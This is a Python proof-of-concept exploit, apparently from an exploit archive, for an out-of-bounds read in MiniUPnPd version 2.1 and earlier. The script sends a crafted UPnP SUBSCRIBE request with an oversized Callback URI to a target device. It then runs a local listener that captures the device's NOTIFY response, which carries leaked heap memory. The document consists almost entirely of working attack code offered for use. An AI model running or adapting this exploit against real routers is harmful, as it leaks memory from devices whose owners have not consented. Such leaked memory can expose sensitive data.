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MiniUPnPd 2.1 - Out-of-Bounds Read Exploit
[#!/usr/bin/python3
# miniupnpd <= v2.1 read out-of-bounds PoC
# by b1ack0wl
# https://github.com/b1ack0wl/miniupnpd_poc
import requests, socketserver, argparse, sys
class OK_HTTP_Response(socketserver.StreamRequestHandler):
def handle(self):
self.request.settimeout(self.server.timeout)
self.server.notify = b""
try:
line = self.rfile.read(1)
while len(line) > 0:
self.server.notify += line
line = self.rfile.read(1)
except:
pass
self.wfile.write(b"HTTP/1.1 200 OK\r\n\r\n")
def splash():
print("[*] miniupnpd <= v2.1 read out-of-bounds vulnerability [PoC]")
print("[*] by b1ack0wl")
def leak_data(args):
leak_size = ((1024*args.leak_amount)+526)
callback_uri= "A" * leak_size
headers= {'NT': 'upnp:event', 'Callback': '<http://{}:{}/{}>'.format(args.callback_ip,args.callback_port,callback_uri), 'Timeout': 'Second-20'}
server = socketserver.TCPServer((args.callback_ip, args.callback_port), OK_HTTP_Response)
server.timeout = args.timeout
print("[+] Sending request...")
requests.request(method="SUBSCRIBE",url="http://{}:{}/evt/L3F".format(args.target_ip,args.target_port),headers=headers,timeout=args.timeout)
server.handle_request()
leaked_data = server.notify[1023::] # Skip over the first 1024 bytes since it just contains 'NOTIFY /AAA...'
print("[+] Leaked Data: {}".format(leaked_data))
print("[+] Leaked Length: {}".format(len(leaked_data)))
print("[+] Done")
def main():
poc_parser = argparse.ArgumentParser( add_help=True, description='Miniupnpd <= v2.1 read out-of-bounds vulnerability',formatter_class=argparse.ArgumentDefaultsHelpFormatter)
poc_parser.add_argument('target_ip', help='IP address of vulnerable device.')
poc_parser.add_argument('target_port', default=5000, help="Target Port.", type=int)
poc_parser.add_argument('--callback_ip', help="Local IP address for httpd listener.", type=str)
poc_parser.add_argument('--callback_port', help="Local port for httpd listener.", type=int)
poc_parser.add_argument('--timeout', default=5, help="Timeout for http requests (in seconds).", type=float)
poc_parser.add_argument('--leak_amount', default=1, help="Amount of arbitrary heap data to leak (in KB).", type=int)
args = poc_parser.parse_args()
arguments = ['target_ip', 'target_port', 'callback_ip', 'callback_port' ]
for i in arguments:
if getattr(args, i) == None:
poc_parser.print_help()
sys.exit(1)
leak_data(args)
if __name__ == '__main__':
splash()
main()
# 0day.today [2024-11-15] #